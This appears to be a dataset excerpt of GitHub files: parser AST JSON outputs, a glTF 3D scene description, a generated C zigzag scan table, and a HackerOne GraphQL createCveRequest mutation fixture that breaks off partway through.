text
stringlengths 3
96.2k
| meta
dict |
|---|---|
{
"type": "ExportNamedDeclaration",
"start": 35,
"end": 97,
"loc": {
"start": {
"line": 4,
"column": 0
},
"end": {
"line": 5,
"column": 24
}
},
"range": [
35,
97
],
"declaration": {
"type": "VariableDeclaration",
"start": 42,
"end": 97,
"loc": {
"start": {
"line": 4,
"column": 7
},
"end": {
"line": 5,
"column": 24
}
},
"range": [
42,
97
],
"declarations": [
{
"type": "VariableDeclarator",
"start": 48,
"end": 71,
"loc": {
"start": {
"line": 4,
"column": 13
},
"end": {
"line": 4,
"column": 36
}
},
"range": [
48,
71
],
"id": {
"type": "Identifier",
"start": 48,
"end": 64,
"loc": {
"start": {
"line": 4,
"column": 13
},
"end": {
"line": 4,
"column": 29
}
},
"range": [
48,
64
],
"name": "firstDeclaration"
},
"init": {
"type": "Literal",
"start": 67,
"end": 71,
"loc": {
"start": {
"line": 4,
"column": 32
},
"end": {
"line": 4,
"column": 36
}
},
"range": [
67,
71
],
"value": true,
"raw": "true"
}
},
{
"type": "VariableDeclarator",
"start": 74,
"end": 96,
"loc": {
"start": {
"line": 5,
"column": 1
},
"end": {
"line": 5,
"column": 23
}
},
"range": [
74,
96
],
"id": {
"type": "Identifier",
"start": 74,
"end": 91,
"loc": {
"start": {
"line": 5,
"column": 1
},
"end": {
"line": 5,
"column": 18
}
},
"range": [
74,
91
],
"name": "secondDeclaration"
},
"init": {
"type": "Literal",
"start": 94,
"end": 96,
"loc": {
"start": {
"line": 5,
"column": 21
},
"end": {
"line": 5,
"column": 23
}
},
"range": [
94,
96
],
"value": 42,
"raw": "42"
}
}
],
"kind": "const"
},
"specifiers": [],
"source": null,
"leadingComments": [
{
"type": "Block",
"value": "*\n * My declaration example.\n ",
"start": 0,
"end": 34,
"range": [
0,
34
],
"loc": {
"start": {
"line": 1,
"column": 0
},
"end": {
"line": 3,
"column": 3
}
}
}
]
}
|
{
"pile_set_name": "Github"
}
|
{
"asset": {
"version": "2.0",
"generator": "babylon.js glTF exporter for maya 2018 v1.0.0",
"copyright": "2017 (c) BabylonJS"
},
"scene": 0,
"scenes": [
{
"nodes": [
0,
1,
2,
3
]
}
],
"nodes": [
{
"mesh": 0,
"translation": [
0,
0,
0
],
"rotation": [
0,
0,
0,
1
],
"scale": [
1,
1,
1
],
"name": "pCube1"
},
{
"mesh": 1,
"translation": [
1.68157125,
0,
0
],
"rotation": [
0,
0,
0,
1
],
"scale": [
1,
1,
1
],
"name": "pCube2"
},
{
"mesh": 2,
"translation": [
2.95393562,
0,
0
],
"rotation": [
0,
0,
0,
1
],
"scale": [
0.4003061,
0.4003061,
0.4003061
],
"name": "pSphere1"
},
{
"mesh": 3,
"translation": [
3.96833062,
0,
0
],
"rotation": [
0,
0,
0,
1
],
"scale": [
0.4003061,
0.4003061,
0.4003061
],
"name": "pSphere2"
}
],
"meshes": [
{
"primitives": [
{
"attributes": {
"POSITION": 1,
"NORMAL": 2,
"TEXCOORD_0": 3
},
"indices": 0,
"mode": 4,
"material": 0
},
{
"attributes": {
"POSITION": 5,
"NORMAL": 6,
"TEXCOORD_0": 7
},
"indices": 4,
"mode": 4,
"material": 1
}
],
"name": "pCube1"
},
{
"primitives": [
{
"attributes": {
"POSITION": 9,
"NORMAL": 10,
"TEXCOORD_0": 11
},
"indices": 8,
"mode": 4,
"material": 2
},
{
"attributes": {
"POSITION": 13,
"NORMAL": 14,
"TEXCOORD_0": 15
},
"indices": 12,
"mode": 4,
"material": 1
}
],
"name": "pCube2"
},
{
"primitives": [
{
"attributes": {
"POSITION": 17,
"NORMAL": 18,
"TEXCOORD_0": 19
},
"indices": 16,
"mode": 4,
"material": 0
}
],
"name": "pSphere1"
},
{
"primitives": [
{
"attributes": {
"POSITION": 21,
"NORMAL": 22,
"TEXCOORD_0": 23
},
"indices": 20,
"mode": 4,
"material": 2
}
],
"name": "pSphere2"
}
],
"accessors": [
{
"bufferView": 0,
"componentType": 5123,
"count": 30,
"type": "SCALAR",
"name": "accessorIndices"
},
{
"bufferView": 1,
"componentType": 5126,
"count": 20,
"max": [
0.5,
0.5,
0.5
],
"min": [
-0.5,
-0.5,
-0.5
],
"type": "VEC3",
"name": "accessorPositions"
},
{
"bufferView": 1,
"byteOffset": 240,
"componentType": 5126,
"count": 20,
"type": "VEC3",
"name": "accessorNormals"
},
{
"bufferView": 2,
"componentType": 5126,
"count": 20,
"type": "VEC2",
"name": "accessorUVs"
},
{
"bufferView": 0,
"byteOffset": 60,
"componentType": 5123,
"count": 6,
"type": "SCALAR",
"name": "accessorIndices"
},
{
"bufferView": 1,
"byteOffset": 480,
"componentType": 5126,
"count": 4,
"max": [
0.5,
0.5,
0.5
],
"min": [
0.5,
-0.5,
-0.5
],
"type": "VEC3",
"name": "accessorPositions"
},
{
"bufferView": 1,
"byteOffset": 528,
"componentType": 5126,
"count": 4,
"type": "VEC3",
"name": "accessorNormals"
},
{
"bufferView": 2,
"byteOffset": 160,
"componentType": 5126,
"count": 4,
"type": "VEC2",
"name": "accessorUVs"
},
{
"bufferView": 0,
"byteOffset": 72,
"componentType": 5123,
"count": 30,
"type": "SCALAR",
"name": "accessorIndices"
},
{
"bufferView": 1,
"byteOffset": 576,
"componentType": 5126,
"count": 20,
"max": [
0.5,
0.5,
0.5
],
"min": [
-0.5,
-0.5,
-0.5
],
"type": "VEC3",
"name": "accessorPositions"
},
{
"bufferView": 1,
"byteOffset": 816,
"componentType": 5126,
"count": 20,
"type": "VEC3",
"name": "accessorNormals"
},
{
"bufferView": 2,
"byteOffset": 192,
"componentType": 5126,
"count": 20,
"type": "VEC2",
"name": "accessorUVs"
},
{
"bufferView": 0,
"byteOffset": 132,
"componentType": 5123,
"count": 6,
"type": "SCALAR",
"name": "accessorIndices"
},
{
"bufferView": 1,
"byteOffset": 1056,
"componentType": 5126,
"count": 4,
"max": [
0.5,
0.5,
0.5
],
"min": [
0.5,
-0.5,
-0.5
],
"type": "VEC3",
"name": "accessorPositions"
},
{
"bufferView": 1,
"byteOffset": 1104,
"componentType": 5126,
"count": 4,
"type": "VEC3",
"name": "accessorNormals"
},
{
"bufferView": 2,
"byteOffset": 352,
"componentType": 5126,
"count": 4,
"type": "VEC2",
"name": "accessorUVs"
},
{
"bufferView": 0,
"byteOffset": 144,
"componentType": 5123,
"count": 2280,
"type": "SCALAR",
"name": "accessorIndices"
},
{
"bufferView": 1,
"byteOffset": 1152,
"componentType": 5126,
"count": 439,
"max": [
1,
1,
1.00000012
],
"min": [
-1.00000024,
-1,
-1.00000048
],
"type": "VEC3",
"name": "accessorPositions"
},
{
"bufferView": 1,
"byteOffset": 6420,
"componentType": 5126,
"count": 439,
"type": "VEC3",
"name": "accessorNormals"
},
{
"bufferView": 2,
"byteOffset": 384,
"componentType": 5126,
"count": 439,
"type": "VEC2",
"name": "accessorUVs"
},
{
"bufferView": 0,
"byteOffset": 4704,
"componentType": 5123,
"count": 2280,
"type": "SCALAR",
"name": "accessorIndices"
},
{
"bufferView": 1,
"byteOffset": 11688,
"componentType": 5126,
"count": 439,
"max": [
1,
1,
1.00000012
],
"min": [
-1.00000024,
-1,
-1.00000048
],
"type": "VEC3",
"name": "accessorPositions"
},
{
"bufferView": 1,
"byteOffset": 16956,
"componentType": 5126,
"count": 439,
"type": "VEC3",
"name": "accessorNormals"
},
{
"bufferView": 2,
"byteOffset": 3896,
"componentType": 5126,
"count": 439,
"type": "VEC2",
"name": "accessorUVs"
}
],
"bufferViews": [
{
"buffer": 0,
"byteLength": 9264,
"name": "bufferViewScalar"
},
{
"buffer": 0,
"byteOffset": 9264,
"byteLength": 22224,
"byteStride": 12,
"name": "bufferViewFloatVec3"
},
{
"buffer": 0,
"byteOffset": 31488,
"byteLength": 7408,
"byteStride": 8,
"name": "bufferViewFloatVec2"
}
],
"buffers": [
{
"uri": "MultiMatOpacity.bin",
"byteLength": 38896
}
],
"materials": [
{
"pbrMetallicRoughness": {
"baseColorFactor": [
1,
0,
0,
1
],
"metallicFactor": 0,
"roughnessFactor": 0.1
},
"emissiveFactor": [
0,
0,
0
],
"alphaMode": "OPAQUE",
"name": "aiStandardSurface1"
},
{
"pbrMetallicRoughness": {
"baseColorFactor": [
0.263597846,
1,
0.263597846,
1
],
"metallicFactor": 0.5470188,
"roughnessFactor": 0.5678072
},
"emissiveFactor": [
0,
0,
0
],
"alphaMode": "OPAQUE",
"name": "phong1"
},
{
"pbrMetallicRoughness": {
"baseColorFactor": [
1,
0,
0,
0.1958042
],
"metallicFactor": 0,
"roughnessFactor": 0.1
},
"emissiveFactor": [
0,
0,
0
],
"alphaMode": "BLEND",
"name": "aiStandardSurface1"
}
]
}
|
{
"pile_set_name": "Github"
}
|
{
"type": "root",
"children": [
{
"type": "svelteElement",
"tagName": "div",
"properties": [
{
"type": "svelteDirective",
"name": "use",
"value": [
{
"type": "svelteExpression",
"value": "use",
"position": {
"start": {
"line": 2,
"column": 17,
"offset": 21
},
"end": {
"line": 2,
"column": 22,
"offset": 26
}
}
}
],
"modifiers": [],
"shorthand": "none",
"position": {
"start": {
"line": 2,
"column": 5,
"offset": 9
},
"end": {
"line": 2,
"column": 22,
"offset": 26
}
},
"specifier": "actions"
},
{
"type": "svelteDirective",
"name": "use",
"value": [],
"modifiers": [],
"shorthand": "none",
"position": {
"start": {
"line": 3,
"column": 5,
"offset": 31
},
"end": {}
},
"specifier": "events"
},
{
"type": "svelteProperty",
"name": "class",
"value": [
{
"type": "svelteExpression",
"value": "clsxd(\n 'ui',\n direction,\n inverted && 'inverted',\n fitted && 'fitted',\n hidden && 'hidden',\n section && 'section',\n clearing && 'clearing',\n className,\n 'divider'\n )",
"position": {
"start": {
"line": 4,
"column": 12,
"offset": 53
},
"end": {
"line": 14,
"column": 7,
"offset": 287
}
}
}
],
"modifiers": [],
"shorthand": "none",
"position": {
"start": {
"line": 4,
"column": 5,
"offset": 46
},
"end": {
"line": 14,
"column": 8,
"offset": 288
}
}
},
{
"type": "svelteProperty",
"name": "...exclude($$props, ['use', 'class', 'direction', 'inverted', 'fitted', 'hidden', 'section', 'clearing'])",
"value": [
{
"type": "svelteExpression",
"value": "...exclude($$props, ['use', 'class', 'direction', 'inverted', 'fitted', 'hidden', 'section', 'clearing'])"
}
],
"modifiers": [],
"shorthand": "expression",
"position": {
"start": {
"line": 15,
"column": 5,
"offset": 293
},
"end": {}
}
}
],
"selfClosing": false,
"children": [
{
"type": "svelteElement",
"tagName": "slot",
"properties": [],
"selfClosing": false,
"children": [],
"position": {
"start": {
"line": 16,
"column": 2,
"offset": 402
},
"end": {
"line": 16,
"column": 15,
"offset": 415
}
}
}
],
"position": {
"start": {
"line": 1,
"column": 1,
"offset": 0
},
"end": {
"line": 16,
"column": 21,
"offset": 421
}
}
},
{
"type": "text",
"value": "\n\n",
"position": {
"start": {
"line": 16,
"column": 21,
"offset": 421
},
"end": {
"line": 18,
"column": 1,
"offset": 423
}
}
},
{
"type": "svelteScript",
"tagName": "script",
"properties": [
{
"type": "svelteProperty",
"name": "context",
"value": [
{
"type": "text",
"value": "module",
"position": {
"start": {
"line": 18,
"column": 18,
"offset": 440
},
"end": {
"line": 18,
"column": 24,
"offset": 446
}
}
}
],
"modifiers": [],
"shorthand": "none",
"position": {
"start": {
"line": 18,
"column": 9,
"offset": 431
},
"end": {
"line": 18,
"column": 25,
"offset": 447
}
}
}
],
"selfClosing": false,
"children": [
{
"type": "text",
"value": "\n import { exclude, eventsBuilder, actions, clsxd } from '../../lib'\n import { current_component } from 'svelte/internal'\n",
"position": {
"start": {
"line": 18,
"column": 26,
"offset": 448
},
"end": {
"line": 21,
"column": 1,
"offset": 576
}
}
}
],
"position": {
"start": {
"line": 18,
"column": 1,
"offset": 423
},
"end": {
"line": 21,
"column": 10,
"offset": 585
}
}
},
{
"type": "text",
"value": "\n\n",
"position": {
"start": {
"line": 21,
"column": 10,
"offset": 585
},
"end": {
"line": 23,
"column": 1,
"offset": 587
}
}
},
{
"type": "svelteScript",
"tagName": "script",
"properties": [],
"selfClosing": false,
"children": [
{
"type": "text",
"value": "\n const events = eventsBuilder(current_component)\n\n export let use = [];\n let className = '';\n export { className as class };\n\n export let direction = '';\n export let inverted = false;\n export let fitted = false;\n export let hidden = false;\n export let section = false;\n export let clearing = false;\n",
"position": {
"start": {
"line": 23,
"column": 9,
"offset": 595
},
"end": {
"line": 36,
"column": 1,
"offset": 925
}
}
}
],
"position": {
"start": {
"line": 23,
"column": 1,
"offset": 587
},
"end": {
"line": 36,
"column": 10,
"offset": 934
}
}
}
],
"position": {
"start": {
"column": 1,
"line": 1,
"offset": 0
},
"end": {
"line": 36,
"column": 10,
"offset": 934
}
}
}
|
{
"pile_set_name": "Github"
}
|
/* This file is generated by gen_zigzag32.m */
/* clang-format off */
#include "odintrin.h"
OD_EXTERN const unsigned char OD_ZIGZAG32_DCT_DCT[768][2] = {
{ 16, 0 }, { 17, 0 }, { 18, 0 }, { 19, 0 },
{ 16, 1 }, { 17, 1 }, { 20, 0 }, { 16, 2 },
{ 18, 1 }, { 21, 0 }, { 17, 2 }, { 16, 3 },
{ 19, 1 }, { 22, 0 }, { 18, 2 }, { 17, 3 },
{ 20, 1 }, { 16, 4 }, { 23, 0 }, { 19, 2 },
{ 24, 0 }, { 16, 5 }, { 21, 1 }, { 17, 4 },
{ 18, 3 }, { 20, 2 }, { 17, 5 }, { 16, 6 },
{ 19, 3 }, { 18, 4 }, { 25, 0 }, { 22, 1 },
{ 16, 7 }, { 21, 2 }, { 17, 6 }, { 20, 3 },
{ 26, 0 }, { 18, 5 }, { 19, 4 }, { 17, 7 },
{ 23, 1 }, { 22, 2 }, { 18, 6 }, { 27, 0 },
{ 19, 5 }, { 24, 1 }, { 21, 3 }, { 28, 0 },
{ 20, 4 }, { 18, 7 }, { 19, 6 }, { 23, 2 },
{ 29, 0 }, { 25, 1 }, { 21, 4 }, { 30, 0 },
{ 20, 5 }, { 22, 3 }, { 31, 0 }, { 19, 7 },
{ 24, 2 }, { 26, 1 }, { 20, 6 }, { 21, 5 },
{ 22, 4 }, { 23, 3 }, { 27, 1 }, { 25, 2 },
{ 20, 7 }, { 28, 1 }, { 24, 3 }, { 21, 6 },
{ 22, 5 }, { 23, 4 }, { 26, 2 }, { 21, 7 },
{ 29, 1 }, { 25, 3 }, { 30, 1 }, { 27, 2 },
{ 22, 6 }, { 23, 5 }, { 31, 1 }, { 24, 4 },
{ 26, 3 }, { 28, 2 }, { 22, 7 }, { 23, 6 },
{ 25, 4 }, { 24, 5 }, { 29, 2 }, { 30, 2 },
{ 27, 3 }, { 23, 7 }, { 31, 2 }, { 24, 6 },
{ 26, 4 }, { 25, 5 }, { 28, 3 }, { 24, 7 },
{ 27, 4 }, { 29, 3 }, { 25, 6 }, { 26, 5 },
{ 30, 3 }, { 31, 3 }, { 28, 4 }, { 27, 5 },
{ 25, 7 }, { 29, 4 }, { 26, 6 }, { 28, 5 },
{ 30, 4 }, { 26, 7 }, { 27, 6 }, { 31, 4 },
{ 29, 5 }, { 27, 7 }, { 30, 5 }, { 28, 6 },
{ 31, 5 }, { 29, 6 }, { 28, 7 }, { 30, 6 },
{ 31, 6 }, { 29, 7 }, { 30, 7 }, { 31, 7 },
{ 0, 16 }, { 0, 17 }, { 1, 16 }, { 0, 18 },
{ 1, 17 }, { 0, 19 }, { 2, 16 }, { 1, 18 },
{ 0, 20 }, { 2, 17 }, { 3, 16 }, { 1, 19 },
{ 2, 18 }, { 0, 21 }, { 3, 17 }, { 4, 16 },
{ 1, 20 }, { 2, 19 }, { 0, 22 }, { 3, 18 },
{ 4, 17 }, { 5, 16 }, { 0, 23 }, { 3, 19 },
{ 2, 20 }, { 1, 21 }, { 4, 18 }, { 6, 16 },
{ 5, 17 }, { 3, 20 }, { 2, 21 }, { 1, 22 },
{ 0, 24 }, { 0, 25 }, { 4, 19 }, { 7, 16 },
{ 6, 17 }, { 5, 18 }, { 0, 26 }, { 3, 21 },
{ 2, 22 }, { 1, 23 }, { 4, 20 }, { 5, 19 },
{ 6, 18 }, { 1, 24 }, { 7, 17 }, { 0, 27 },
{ 2, 23 }, { 3, 22 }, { 4, 21 }, { 1, 25 },
{ 5, 20 }, { 7, 18 }, { 0, 28 }, { 6, 19 },
{ 2, 24 }, { 1, 26 }, { 0, 29 }, { 4, 22 },
{ 3, 23 }, { 2, 25 }, { 5, 21 }, { 0, 31 },
{ 7, 19 }, { 6, 20 }, { 0, 30 }, { 1, 27 },
{ 3, 24 }, { 2, 26 }, { 4, 23 }, { 5, 22 },
{ 7, 20 }, { 1, 28 }, { 6, 21 }, { 3, 25 },
{ 2, 27 }, { 1, 29 }, { 4, 24 }, { 2, 28 },
{ 1, 30 }, { 7, 21 }, { 5, 23 }, { 3, 26 },
{ 6, 22 }, { 1, 31 }, { 4, 25 }, { 7, 22 },
{ 3, 27 }, { 2, 29 }, { 2, 30 }, { 5, 24 },
{ 2, 31 }, { 6, 23 }, { 4, 26 }, { 3, 28 },
{ 5, 25 }, { 3, 29 }, { 6, 24 }, { 7, 23 },
{ 3, 30 }, { 4, 27 }, { 3, 31 }, { 5, 26 },
{ 6, 25 }, { 4, 28 }, { 7, 24 }, { 4, 29 },
{ 5, 27 }, { 4, 30 }, { 4, 31 }, { 6, 26 },
{ 5, 28 }, { 7, 25 }, { 6, 27 }, { 5, 29 },
{ 7, 26 }, { 5, 30 }, { 5, 31 }, { 6, 28 },
{ 7, 27 }, { 6, 29 }, { 6, 30 }, { 7, 28 },
{ 6, 31 }, { 7, 29 }, { 7, 30 }, { 7, 31 },
{ 8, 16 }, { 9, 16 }, { 8, 17 }, { 10, 16 },
{ 9, 17 }, { 16, 8 }, { 8, 18 }, { 16, 9 },
{ 10, 17 }, { 11, 16 }, { 17, 8 }, { 9, 18 },
{ 8, 19 }, { 16, 10 }, { 11, 17 }, { 12, 16 },
{ 10, 18 }, { 17, 9 }, { 9, 19 }, { 16, 11 },
{ 8, 20 }, { 18, 8 }, { 17, 10 }, { 10, 19 },
{ 12, 17 }, { 11, 18 }, { 9, 20 }, { 16, 12 },
{ 18, 9 }, { 8, 21 }, { 13, 16 }, { 17, 11 },
{ 19, 8 }, { 18, 10 }, { 13, 17 }, { 16, 13 },
{ 11, 19 }, { 12, 18 }, { 10, 20 }, { 17, 12 },
{ 9, 21 }, { 19, 9 }, { 8, 22 }, { 14, 16 },
{ 18, 11 }, { 11, 20 }, { 10, 21 }, { 20, 8 },
{ 13, 18 }, { 16, 14 }, { 12, 19 }, { 17, 13 },
{ 19, 10 }, { 14, 17 }, { 9, 22 }, { 18, 12 },
{ 8, 23 }, { 17, 14 }, { 20, 9 }, { 15, 16 },
{ 16, 15 }, { 13, 19 }, { 10, 22 }, { 19, 11 },
{ 11, 21 }, { 14, 18 }, { 12, 20 }, { 18, 13 },
{ 20, 10 }, { 21, 8 }, { 15, 17 }, { 9, 23 },
{ 19, 12 }, { 11, 22 }, { 8, 24 }, { 21, 9 },
{ 17, 15 }, { 16, 16 }, { 14, 19 }, { 18, 14 },
{ 12, 21 }, { 13, 20 }, { 20, 11 }, { 10, 23 },
{ 19, 13 }, { 15, 18 }, { 16, 17 }, { 21, 10 },
{ 22, 8 }, { 9, 24 }, { 8, 25 }, { 20, 12 },
{ 15, 19 }, { 11, 23 }, { 17, 16 }, { 18, 15 },
{ 14, 20 }, { 12, 22 }, { 10, 24 }, { 22, 9 },
{ 21, 11 }, { 19, 14 }, { 13, 21 }, { 16, 18 },
{ 9, 25 }, { 17, 17 }, { 8, 26 }, { 20, 13 },
{ 23, 8 }, { 12, 23 }, { 13, 22 }, { 22, 10 },
{ 19, 15 }, { 15, 20 }, { 16, 19 }, { 21, 12 },
{ 11, 24 }, { 14, 21 }, { 8, 27 }, { 18, 16 },
{ 10, 25 }, { 9, 26 }, { 22, 11 }, { 20, 14 },
{ 23, 9 }, { 18, 17 }, { 17, 18 }, { 17, 19 },
{ 19, 16 }, { 21, 13 }, { 10, 26 }, { 12, 24 },
{ 23, 10 }, { 24, 8 }, { 8, 28 }, { 16, 20 },
{ 9, 27 }, { 15, 21 }, { 22, 12 }, { 14, 22 },
{ 13, 23 }, { 20, 15 }, { 11, 25 }, { 24, 9 },
{ 18, 18 }, { 19, 17 }, { 23, 11 }, { 10, 27 },
{ 8, 29 }, { 12, 25 }, { 9, 28 }, { 8, 30 },
{ 21, 14 }, { 13, 24 }, { 11, 26 }, { 25, 8 },
{ 24, 10 }, { 20, 16 }, { 19, 18 }, { 14, 23 },
{ 22, 13 }, { 8, 31 }, { 17, 20 }, { 9, 29 },
{ 23, 12 }, { 15, 22 }, { 25, 9 }, { 11, 27 },
{ 10, 28 }, { 20, 17 }, { 21, 15 }, { 18, 19 },
{ 16, 21 }, { 24, 11 }, { 9, 30 }, { 12, 26 },
{ 10, 29 }, { 22, 14 }, { 14, 24 }, { 9, 31 },
{ 26, 8 }, { 13, 25 }, { 25, 10 }, { 18, 20 },
{ 19, 19 }, { 11, 28 }, { 15, 23 }, { 20, 18 },
{ 10, 30 }, { 12, 27 }, { 17, 21 }, { 23, 13 },
{ 24, 12 }, { 21, 16 }, { 16, 22 }, { 26, 9 },
{ 27, 8 }, { 13, 26 }, { 22, 15 }, { 10, 31 },
{ 14, 25 }, { 12, 28 }, { 25, 11 }, { 21, 17 },
{ 26, 10 }, { 20, 19 }, { 11, 29 }, { 15, 24 },
{ 23, 14 }, { 27, 9 }, { 11, 30 }, { 13, 27 },
{ 19, 20 }, { 24, 13 }, { 28, 8 }, { 11, 31 },
{ 22, 16 }, { 17, 22 }, { 16, 23 }, { 25, 12 },
{ 18, 21 }, { 12, 29 }, { 21, 18 }, { 28, 9 },
{ 27, 10 }, { 26, 11 }, { 29, 8 }, { 14, 26 },
{ 15, 25 }, { 13, 28 }, { 12, 30 }, { 23, 15 },
{ 30, 8 }, { 16, 24 }, { 13, 29 }, { 25, 13 },
{ 24, 14 }, { 20, 20 }, { 31, 8 }, { 12, 31 },
{ 14, 27 }, { 28, 10 }, { 26, 12 }, { 22, 17 },
{ 21, 19 }, { 17, 23 }, { 18, 22 }, { 29, 9 },
{ 27, 11 }, { 19, 21 }, { 27, 12 }, { 30, 9 },
{ 31, 9 }, { 13, 30 }, { 24, 15 }, { 23, 16 },
{ 15, 26 }, { 14, 28 }, { 29, 10 }, { 28, 11 },
{ 26, 13 }, { 17, 24 }, { 13, 31 }, { 25, 14 },
{ 22, 18 }, { 16, 25 }, { 30, 10 }, { 14, 29 },
{ 15, 27 }, { 19, 22 }, { 21, 20 }, { 20, 21 },
{ 27, 13 }, { 29, 11 }, { 18, 23 }, { 23, 17 },
{ 16, 26 }, { 31, 10 }, { 24, 16 }, { 14, 30 },
{ 22, 19 }, { 14, 31 }, { 28, 12 }, { 26, 14 },
{ 30, 11 }, { 15, 28 }, { 25, 15 }, { 17, 25 },
{ 23, 18 }, { 18, 24 }, { 15, 30 }, { 29, 12 },
{ 31, 11 }, { 16, 27 }, { 24, 17 }, { 28, 13 },
{ 19, 23 }, { 15, 29 }, { 25, 16 }, { 17, 26 },
{ 27, 14 }, { 22, 20 }, { 15, 31 }, { 20, 22 },
{ 21, 21 }, { 16, 28 }, { 17, 27 }, { 30, 12 },
{ 26, 15 }, { 19, 24 }, { 18, 25 }, { 23, 19 },
{ 29, 13 }, { 31, 12 }, { 24, 18 }, { 26, 16 },
{ 25, 17 }, { 16, 29 }, { 28, 14 }, { 20, 23 },
{ 18, 26 }, { 21, 22 }, { 19, 25 }, { 22, 21 },
{ 27, 15 }, { 17, 28 }, { 16, 30 }, { 26, 17 },
{ 23, 20 }, { 16, 31 }, { 25, 18 }, { 27, 16 },
{ 20, 24 }, { 24, 19 }, { 31, 13 }, { 30, 13 },
{ 29, 14 }, { 18, 27 }, { 28, 15 }, { 17, 29 },
{ 19, 26 }, { 17, 30 }, { 21, 23 }, { 22, 22 },
{ 30, 14 }, { 20, 25 }, { 23, 21 }, { 17, 31 },
{ 18, 28 }, { 25, 19 }, { 24, 20 }, { 28, 16 },
{ 31, 14 }, { 26, 18 }, { 19, 27 }, { 29, 15 },
{ 27, 17 }, { 30, 15 }, { 21, 24 }, { 22, 23 },
{ 26, 19 }, { 23, 22 }, { 28, 17 }, { 29, 16 },
{ 18, 30 }, { 24, 21 }, { 25, 20 }, { 18, 31 },
{ 18, 29 }, { 20, 26 }, { 19, 28 }, { 27, 18 },
{ 31, 15 }, { 20, 27 }, { 30, 16 }, { 19, 29 },
{ 29, 17 }, { 31, 16 }, { 27, 19 }, { 21, 25 },
{ 28, 18 }, { 26, 20 }, { 22, 24 }, { 25, 21 },
{ 19, 30 }, { 24, 22 }, { 30, 17 }, { 21, 26 },
{ 23, 23 }, { 19, 31 }, { 20, 28 }, { 31, 17 },
{ 28, 19 }, { 27, 20 }, { 21, 27 }, { 29, 18 },
{ 30, 18 }, { 25, 22 }, { 26, 21 }, { 20, 29 },
{ 22, 25 }, { 24, 23 }, { 29, 19 }, { 23, 24 },
{ 20, 31 }, { 20, 30 }, { 28, 20 }, { 21, 28 },
{ 22, 26 }, { 31, 18 }, { 27, 21 }, { 30, 19 },
{ 22, 27 }, { 29, 20 }, { 23, 25 }, { 24, 24 },
{ 26, 22 }, { 21, 29 }, { 25, 23 }, { 31, 19 },
{ 21, 30 }, { 23, 26 }, { 28, 21 }, { 21, 31 },
{ 22, 28 }, { 30, 20 }, { 25, 24 }, { 27, 22 },
{ 29, 21 }, { 26, 23 }, { 24, 25 }, { 31, 20 },
{ 23, 27 }, { 22, 29 }, { 30, 21 }, { 28, 22 },
{ 24, 26 }, { 25, 25 }, { 27, 23 }, { 22, 30 },
{ 23, 28 }, { 22, 31 }, { 26, 24 }, { 31, 21 },
{ 24, 27 }, { 29, 22 }, { 27, 24 }, { 30, 22 },
{ 25, 26 }, { 28, 23 }, { 23, 30 }, { 23, 29 },
{ 24, 28 }, { 25, 27 }, { 31, 22 }, { 23, 31 },
{ 26, 25 }, { 28, 24 }, { 29, 23 }, { 24, 29 },
{ 24, 30 }, { 27, 25 }, { 25, 28 }, { 26, 26 },
{ 30, 23 }, { 26, 27 }, { 31, 23 }, { 28, 25 },
{ 27, 26 }, { 25, 29 }, { 24, 31 }, { 29, 24 },
{ 30, 24 }, { 27, 27 }, { 29, 25 }, { 26, 28 },
{ 31, 24 }, { 25, 30 }, { 25, 31 }, { 28, 26 },
{ 27, 28 }, { 26, 29 }, { 30, 25 }, { 29, 26 },
{ 28, 27 }, { 26, 30 }, { 31, 25 }, { 27, 29 },
{ 26, 31 }, { 30, 26 }, { 28, 28 }, { 31, 26 },
{ 29, 27 }, { 27, 30 }, { 28, 29 }, { 27, 31 },
{ 30, 27 }, { 31, 27 }, { 28, 30 }, { 29, 28 },
{ 30, 28 }, { 29, 29 }, { 30, 29 }, { 31, 28 },
{ 28, 31 }, { 29, 30 }, { 29, 31 }, { 31, 29 },
{ 30, 30 }, { 30, 31 }, { 31, 30 }, { 31, 31 }
};
|
{
"pile_set_name": "Github"
}
|
{
"variables": {
"input0": {
"clientMutationId": "0",
"cve_requests": "",
"errors": "",
"new_cve_request": "",
"team": "",
"was_successful": ""
}
},
"query": "mutation ($input0:CreateCveRequestInput!) {
createCveRequest(input:$input0) {
clientMutationId,
cve_requests {
total_count,
},
new_cve_request {
node {
created_at,
cve_identifier,
description,
id,
latest_state_change_reason,
product,
product_version,
references,
state,
updated_at,
vulnerability_discovered_at,
},
},
team {
_id,
about,
abuse,
activities {
max_updated_at,
total_count,
},
allow_all_hacker_invitations,
allow_email_and_automatic_invitations,
automatic_invites,
awards_miles,
base_bounty,
bounty_awarded_staleness_threshold,
bounty_time,
bug_count,
child_teams {
total_count,
},
common_responses {
total_count,
},
created_at,
critical_submissions_enabled,
currency,
cve_requests {
total_count,
},
external_program {
_id,
about,
handle,
id,
name,
profile_picture(size:small),
},
fancy_slack_integration,
fancy_slack_integration_enabled,
first_response_time,
goal_valid_reports,
grace_period_remaining_in_days,
hackerone_to_jira_events_configuration {
assignee_changes,
comments,
id,
public_disclosures,
rewards,
state_changes,
},
handle,
has_avatar,
has_policy,
i_can_create_jira_webhook,
i_can_destroy_jira_webhook,
i_can_manage_program,
i_can_view_actionable_inbox_labels,
i_can_view_base_bounty,
i_can_view_critical_submissions_enabled,
i_can_view_jira_integration,
i_can_view_jira_webhook,
i_can_view_phabricator_integration,
i_can_view_program_health_redesign,
i_can_view_reports_resolved,
i_can_view_resolution_time_by_severity,
i_can_view_response_efficiency_indicators,
i_can_view_weaknesses,
i_cannot_create_jira_webhook_reasons,
id,
inbox_views {
total_count,
},
internet_bug_bounty,
invitation_rejection_survey_answers {
total_count,
},
is_ready_for_public_launch,
jira_integration {
assignee,
base_url,
created_at,
custom,
description,
id,
issue_type,
labels,
pid,
summary,
updated_at,
},
jira_oauth {
assignables,
configured,
created_at,
id,
issue_types,
projects,
site,
updated_at,
},
jira_webhook {
created_at,
id,
last_event_received_at,
last_token_issued_at,
process_assignee_change,
process_comment_add,
process_priority_change,
process_resolution_change,
process_status_change,
updated_at,
},
launch_link,
maximum_number_of_team_mediation_requests,
name,
new_staleness_threshold,
new_staleness_threshold_limit,
offers_bounties,
offers_swag,
participants {
total_count,
year_range,
},
phabricator_integration {
base_url,
created_at,
description,
id,
process_h1_comment_added,
process_h1_status_change,
process_phabricator_comment_added,
process_phabricator_status_change,
project_tags,
title,
updated_at,
},
posts {
total_count,
},
product_edition {
display_name,
hacker_invitations_enabled,
id,
saas_deal,
},
profile_picture(size:small),
program_leave_survey_answers {
total_count,
},
report_submission_form_intro,
report_template,
reporters {
total_count,
},
reports {
count_by_severity,
total_count,
},
resolution_time,
resolved_staleness_threshold,
response_efficiency_indicator,
response_efficiency_percentage,
